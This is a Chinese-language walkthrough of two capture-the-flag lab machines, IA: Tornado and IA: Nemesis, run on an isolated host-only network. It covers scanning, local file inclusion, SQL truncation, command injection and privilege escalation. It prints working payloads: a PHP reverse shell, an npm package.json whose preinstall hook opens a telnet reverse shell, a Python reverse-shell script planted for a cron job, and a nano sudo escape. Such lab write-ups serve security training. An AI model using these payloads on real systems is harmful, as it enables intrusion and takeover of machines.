IA Tornado

IA: TORNADO

一、基本信息

名称:IA: Tornado

发布日期:2020.12.20

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

catchme:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:tornado.ova

文件大小:1019MB

下载地址:

MD5: 86B49BD71057DB337A85C1EC1BAB1076

SHA1: A74D80B7BDE2B4DA63AAF1E6B4714E43D6862409

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机tornado和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页,还是Apache初始页,源码没有更多信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.132 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/bluesky目录,页面源码也没发现更多可用信息:

1
gobuster dir -u http://192.168.56.132 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞发现

1.我们继续对/bluesky目录进行扫描,发现有登录页与注册页,我们在注册页随意注册然后登录:

1
gobuster dir -u http://192.168.56.132/bluesky -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

image-

2.登录后,在PORTFOLIO页能发现提示存在LFI,并且在源码内有路径提示:

image-

3.利用LFI,我们可以获取到一些登录账号:

1
http://192.168.56.132/~tornado/imp.txt

image-

SQL截断攻击

1.然而,当我们使用这些账号,会发现这些账号都已经被注册了,这时我在注册页源码发现前端对email长度做了最大限制:

image-

2.这时可以想到是否存在SQL截断攻击的利用,修改maxlength后测试发现,能够将jacob@tornado用户的密码更改:

image-

image-

3.成功登录到jacob@tornado:

image-

命令注入,构建shell

1.现在我们可以在CONTACT页面输入payload,并在kali开启对应监听,获得shell:

image-

1
2
3
4
php -r '$sock=fsockopen("192.168.56.102",9002);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -lvnp 9002
python -c 'import pty; pty.spawn("/bin/bash");'

image-

初步提权

1.查看可用文件权限,发现npm可以使用:

1
sudo -l

2.先在kali下写一个json文件,如package.json,开启http服务:

1
2
3
4
5
6
7
8
9
10
11
12
vim package.json
{
"name": "jin",
"version": "1.0.0",
"description": "follow jin on medium and twitter",
"main": "index.js",
"scripts": {
"preinstall": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.56.102 9003 > /tmp/f"
}
}

python3 -m http.server 8001

3.在靶机/tmp目录下建立一个json目录,然后获取json文件,再利用npm触发shell:

1
2
3
4
5
6
7
cd /tmp
mkdir jin
wget http://192.168.56.102:8001/package.json
mv package.json jin
chmod +s jin/

sudo -u catchme /usr/bin/npm i /tmp/jin — unsafe

image-
image-

image-

4.可以成功地在catchme用户目录下找到第一个flag,user.txt:

1
2
3
cd ~
ls -al
cat user.txt

image-

root提权

1.查看同目录下的enc.py文件,发现是个加密程序,告知我们密文,粗略阅读程序,明显是凯撒密码的变种,我们利用https://www.boxentriq.com/code-breaking/caesar-cipher,不使用key自动破解:

image-

image-

2.但自动破解出来的并不是密码,但非常接近了,我们回看程序,对比自动解出的字串,得到key是u,而w是在u后的字符,不应该变化,可分析出最后密码是idkrootpassword:

image-

3.最后能在/root目录下发现第二个flag,root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-

IA Nemesis

IA: NEMESIS (1.0.1)

一、基本信息

名称:IA: Nemesis (1.0.1)

发布日期:2020.10.25

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

thanos://flag1.txt
carlos:/
/flag2.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Nemesis-v1.0.1.ova

文件大小:537MB

下载地址:

MD5: 1E1B81A4B2AF9A2BAC30ED2B26B779BB

SHA1: 182F226EBD925575F50F24D04C515DF79424775E

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Nemesis和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了80,52845和52846端口,访问主页,在sign up页的validate函数可以发现登录的用户和密码,登录之后没有可用信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.131 | tee nmapscan,端口扫描

image-

image-

image-

3.最后再进行一下目录扫描,发现robots.txt文件,提示我们去寻找可用的攻击点:

1
gobuster dir -u http://192.168.56.131 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞利用

1.我们接着访问52845端口,网页源码没有过多发现:

image-

2.在Contact Us页发现在Message框内输入任何信息都会收到写入文件的提示,测试后发现确实存在文件包含漏洞:

image-

image-

3.发现靶机存在thanos用户,可以尝试获取其ssh密钥:

1
/home/thanos/.ssh/id_rsa

image-

4.将thanos用户ssh私钥获取到kali后,ssh登录thanos用户:

1
2
chmod 400 id
ssh thanos@192.168.56.131 -p 52846 -i id

image-

5.登录后可在用户目录下发现第一个flag,即flag1.txt:

1
2
ls -al
cat flag1.txt

image-

初步提权

1.我们可以在thanos用户目录下发现属于carlos用户的backup.py:

1
cat backup.py

image-

2.通过利用pspy64s工具,可以发现backup.py是被定时调用的:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务

wget http://192.168.56.102:8001/pspy64s,thanos获取pspy64s工具
chmod +x pspy64s
./pspy64s

image-

3.那我们只需要把原backup.py重命名(因为我们没有修改其内容的权限),重新写入一个backup.py,内容为反弹shell就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mv backup.py backup_original.py
vi backup.py

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

nc -lvnp 9002,kali开启对应端口监听

image-

4.可以在carlos用户目录下发现第二个flag,即flag2.txt:

1
2
ls -al
cat flag2.txt

image-

root提权

1.同时在carlos用户目录下还能发现root.txt,查看后是让我们去分析encrypt.py文件:

1
cat root.txt

image-

2.查看encrypt.py文件后,联系root.txt,通过位置对应我们能知道FUN的密文是QZA,则可写出解密程序:

1
cat encrypt.py

image-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 先确定key为key[89, 65]
import sys
def affine_encrypt(text, key):
return ''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])

if __name__ == '__main__':
affine_text="FUN"
for key0 in range(65, 91):
for key1 in range(65, 91):
encrypt_text = affine_encrypt(affine_text, [key0, key1])
if encrypt_text == "QZA":
print(key0,key1)
sys.exit(0)

# 解密程序,得到password为ENCRYPTIONISFUNPASSWORD
def affine_decrypt(cipher):
text = []
for t in cipher:
b = ord(t) - ord('A')
for x in range(0, 26):
result = (65 + x*89 - b) % 26
if result == 0:
text.append(chr(x + ord('A')))
break
print(''.join(text))

if __name__ == '__main__':
affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU"
affine_decrypt(affine_encrypted_text)

3.再进行文件权限查看,发现可以使用nano进行提权:

1
sudo -l

image-

4.在gtfobins上查询nano提权方式,成功提权到root:

image-

1
2
3
4
su carlos,在thanos用户下登录到carlos,password是ENCRYPTIONISFUNPASSWORD
sudo -u root /bin/nano /opt/priv
ctrl+r,ctrl+x
reset; sh 1>&0 2>&0

image-

5.在/root目录下可以发现第三个flag,即root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-